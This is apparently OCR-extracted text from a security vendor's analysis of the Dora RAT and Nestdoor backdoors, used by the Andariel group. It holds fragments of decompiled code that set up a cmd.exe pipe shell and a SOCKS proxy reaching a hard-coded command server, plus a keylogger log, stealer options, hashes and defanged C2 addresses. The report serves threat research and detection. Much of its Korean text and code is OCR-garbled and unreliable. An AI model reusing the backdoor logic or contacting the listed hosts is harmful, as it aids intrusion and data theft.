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https://asec.ahnlab.com/ko/65495/

Target Type File Name File Size File Path©®

Current @ cmd.exe 3055 KB %SystemRoot%'\syswow64\cmd.exe

Target B winload.exe 2.94MB  d:i\backup\localproxy\winload.exe

Parent O == _tomcat6.exe 79 KB d:\tomcat\bin'ls I & I stomcat6.exe
Process Module Target Behavior Data

@ cmd.exe B winload.exe Creates process

@ » k mtomcat6.exe Deletes executable file

@ ' F =tomcat6.exe Changes executable file name @ winload.exe
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https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-174a
https://www.cisa.gov/sites/default/files/publications/MAR-10382580.r1.v1.WHITE.pdf
https://asec.ahnlab.com/ko/34107/
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InitializeSRWLock(al + 85);

al[86].Ptr = @LL;
al[87].Ptr = OLL;
al[B88].Ptr = @LL;

InitializeSRWLock(al + 89);
al[98].Ptr = al;
LODWORD(a1[11].Ptr)
vl = 8;
if ( aNduuntgumtu5lj[@] )
{
vll =
do
{
++v10;
+Hwvll;

= fn_get

alNduuntgumtuslj;

while ( *v11 );

if ( !CreatePipe(&hReadPipe, &hFile, &PipeAttributes, @} )
{
if ( hFile )
CloseHandle(hFile);
= hReadPipe;
goto LABEL_l@;

memset(&StartupInfo, @, sizeof(StartupInfo));
memset (&ProcessInformation, @, sizeof(Process
GetStartupInfolA({&StartupInfo);
StartupInfo.hS5tdInput = hReadPipe;
StartupInfo.hStdError = hiWritePipe;
StartupInfo.hStdOutput = hWritePipe;
StartupInfo.ch = 184;

StartupInfo.wShowlWindow = 8;
StartupInfo.dwFlags = 256;

strcpy(Name, “ComSpec”});
GetEnvironmentVariableA(Name, Buffer, ©x184u};

v2 = 8;

CurrentProcess = GetCurrentProcess();

if ( IsProcessInlob(CurrentProcess, 8LL, &Result) )

Information});

if ( Result )
i

JobObjectl = CreateJobObjectW(@LL, @LL);

}
12 = fn_decodeStr(aNduuntgumtuslj, vie, v9); f/ "45.58.159.237"
13 = @LL;
if { aMtizndu2[e] )
{
vld = aMtizndu2;
do
{
vl3 = (v13 + 1);
Hvild:
}
while ( *vi4 });
}
15 = fn decodeStr({aMtizndu2, 13, w13): // "123456"
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Address

Qolz212Z0 30 77
00122130 70 £l
00122140 64 0%
00122150 eC 25
00122160 31 2E
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001221a0 T2 3L

Dora RATE2 Z|tHA &, D Ct2 =
ot FAE=0|C} Dora RAT2 5 7HK|

EMY| =

“spsvc.exe”= WInRAR SFX _L.L_Bﬂ__l el

.rdata:000000000053DDE7
.rdata:000000000053DE4B
.rdata:000000000053DET7
.rdata:000000000053DE A4
.rdata 0000000000530 FF 1
,rdata:000000000053E013
.rdata:000000000053E047
.rdata:000000000053E070

OR 62

explorer.exe =

Length Type String

00000032 C C:/Pragram Files/Go/src/dara/common/encryption, go

0000002C C C:/Program Files/Go/fsrc/dora/common/rand. go

0o00oozoD C C:/Program Files/Gofsrc/dora/common,/sleep,.go

00000034 C C:/Program Files/Go/src/dora/common/trans _module, go

00000028 C iC:/Pragram Files/Go/src/dora/rat/cmd. go

0000002E C C:/Program Files/Gofsrc /dora/rat/handshake, go

00000029 C Z:/Program Files/Go/src/dora/rat/main, go

gooooo2c C C:/Program Files/Go/src/dora/common,/util, go
AF OC 92 74 08 02 41 E1 C1 :‘ E6 D& 18 E6 0w .'t..R3A.x0.=
74 €3 09 )A 6D €F pach.Hora rat.mo
€4 €F 72 61 S5F 72 61 74 09 28 64 €5 76 65 d.dora_rat.|deve
09 0L 64 €5 70 09 €3 6F €D €D 6F €E 0% 76 1)..dep.common.v
30 2ZE 30 OA 3D 3E 0% 2E 2E 2F 63 €F 6D €D 1.0.0.=>,../comm
09 22 €64 €5 76 €5 6C 2% 09 OL DA €2 75 €% on.(devel)...bui
09 2D 62 75 €9 £C €4 €D &F €4 €5 3D 65 72 1ld.-buildmode==x

75 €9 ¢ €64 0% 2D €3 &F €D 70 €% 6C €5 e.build.-compile
€7 €3 OA €2 75 €9 6C €4 09 2D 6C €4 66 6C r=gc.build.-1df1
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[85] OneDriveStandaloneUpdater exe 2024-03-07 27 2:44 4,108KB
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Digital Signature Details

General

=

Advanced

Digital Signature Information
This digital signature is OK.

Signer information

Name: == =a =Limited

E-mail: INot available

Signing time: \Wednesday, March 13, 2024 2:27:21 AM
View Certificate

Countersignatures

Mame of signer: E-mail address: Timestamp
DigiCert Timesta... Mot available Wednesday, March ...
23. 7Bt HHIES

2.3.1. KeyLogger / ClipLogger

Dora RAT2 7|=2X 2l M|0f 7| 52t M S35t 0| 20| A =2l E Nestdoor EESH 1t7] H A
ot Eef JEiH 22 Hetl 7| StE Mttt £ 7|20|LT SREE ZAn L2 7|sE
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——————— [2024/05/21 11:19] zE7t: C:\Windows\system3Z\cmd.exe——————-
{Enter}

##fff Username:test

[2024/05/21 11:19]
——————— [2024/05/21 11:19]
teskt keylogging{Enter} {Enter}
[2024/05/21 11:19] Temp

[2024/05/21 11:19]
{Enter} {Enter} {Enter} {Enter}
“Ctrl+VE

test clipboard

<Ctrl+ve

{Enter} {Enter}

*new 1 — Notepad++-—————-—

*new 1 — Notepad++-—————-—

[2024/05/21 11:19] Monitor Started. #fd#s
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2.3.2. Stealer

SAXL MAX|et E7 = S0l= A|AHI0| EXSt= ot =2 ©§Fcte I EE =X
TZO|LI AO|=T M E AR 7| &0 XSt E HHTESS 0|EEY == JZAX|THO[E
ZolHo 2 MX|5 HS B LYo BUASS 2E5HY| 28 2H0|AS THs 40| ULt
QIXt oy
—protocol EMOM ARSI Z2EE (tcp / udp)
—server ElF 0] A2 E FA (ip:port SHEH)
—dir, —file EfF g oo F=
—thread, -limit s A&t
Table 1. Stealer2| 21X}
2.3.3. Proxy
TR FIIHOE MRS UMACS YRES TEA EPS0|UCH FHolH T2A| £F
E =0l Z2AXEAE &S HeE Hol= SEEE =XHGHK|0F 2= AA Sockss ZTE
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name.sa_family = 2;
*{_DWORD *)&name.sa_data[2] = ip_b;
*{_WORD *)name.sa_data = htons{port_b);

if ( connect(vs, &name, 16) == -1 )
break;
if { fn_sendAuth{vs, 'CBvI') &% fn_recvAuth(vs, (int)&v3) && v8 == 'C8v]1"' &R fn_sendAuth(vs, 'CBwL') )
1
for ( 1 =8; 1 ¢ 2; ++1 )
while { 1 )
{
vE = @;
if ( !'fn_recvAuth(vs, (int)&vi) )
break;
if ( vB == "CBvI' )
1

v? = (SOCKET *)operator new(4u);
* T = G
w7 = v5;

CreateThread(®, @, {(LPTHREAD START_ROUTINE)thread_proxy, w7, @, 8);
vs = socket(2, 1, 8);

3. dE
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https://github.com/earthquake/Socks5Server
https://github.com/oov/socks5/tree/master
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— Trojan/Win.Injector.C5610655 (2024.04.09.03)

— Trojan/Win.Agent.C5610733 (2024.04.10.00)

— Backdoor/Win.Nestdoor.C5610641 (2024.04.13.00)
— Backdoor/Win.DoraRAT.C5610712 (2024.04.09.03)
— Dropper/Win.Agent.C5610793 (2024.04.10.00)

— Trojan/Win.Injector.C5610655 (2024.04.09.03)

— Dropper/Win.Agent.C5610654 (2024.04.09.03)

— Trojan/Win.KeyLogger.C5610642 (2024.04.09.03)
— Backdoor/Win.Nestdoor.C5622508 (2024.05.16.03)
— Trojan/Win.Launcher.C5622509 (2024.05.16.03)

— Trojan/Win.PWS.C5068848 (2022.04.12.01)

el FIEt
— Malware/MDP.Fraud.M800

MD5

094f9a757c6dbd6030bc6dae3f8feab3
33b2b5b7¢830c34c688cf6ced287e5be
468c369893d6fc6614d24ea89e149e80
4bc571925a80d4ae4aab1e8900bf753¢c
5df3c3e1f423f1cce5bf75f067d1d05¢

URL

https[:]//206[.]72[.]205[.]117/
https[:]//209[.]1127[.]19[.]223/
https[:]//45[.]58[.]159][.]237/
https[:]//kmobile[.]bestunif[.Jcom/
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https://download.ahnlab.com/kr/site/library/%5bReport%5dAndariel_Threat_Group.pdf
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